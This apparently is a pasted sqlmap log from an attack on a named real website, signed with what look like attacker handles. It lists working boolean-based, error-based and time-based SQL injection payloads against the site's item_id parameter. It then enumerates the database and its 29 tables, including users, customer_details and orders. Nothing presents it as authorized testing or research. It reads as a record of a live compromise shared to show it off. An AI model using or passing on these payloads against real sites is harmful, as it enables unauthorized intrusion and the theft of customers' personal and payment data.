www.theapprenticedoctor.com

---
Place: GET
Parameter: item_id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: item_id=2 AND 9760=9760

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: item_id=2 AND (SELECT 6346 FROM(SELECT COUNT(*),CONCAT(CHAR(58,120,121,110,58),(SELECT (CASE WHEN (6346=6346) THEN 1 ELSE 0 END)),CHAR(58,110,100,103,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: item_id=2 AND SLEEP(5)
---

available databases [2]:
[*] information_schema
[*] tad

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: item_id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: item_id=2 AND 9760=9760

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: item_id=2 AND (SELECT 6346 FROM(SELECT COUNT(*),CONCAT(CHAR(58,120,121,110,58),(SELECT (CASE WHEN (6346=6346) THEN 1 ELSE 0 END)),CHAR(58,110,100,103,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: item_id=2 AND SLEEP(5)
---

Database: tad
[29 tables]
+------------------------+
| answer                 |
| article_category       |
| articles               |
| assist                 |
| assistfiles            |
| comment_profile        |
| comments               |
| contact_questions      |
| copy                   |
| customer_details       |
| default_pics           |
| default_prod_pics      |
| new_members_ar         |
| newcustomers           |
| order_items            |
| orders                 |
| pagecontent            |
| question               |
| recipient              |
| shipping               |
| shopcart               |
| site_alerts            |
| stats                  |
| store_items            |
| store_items_categories |
| switch                 |
| temppage               |
| thxdownloads           |
| users                  |
+------------------------+

|||sauzadeace|||
PANJI HITAM DARI TIMUR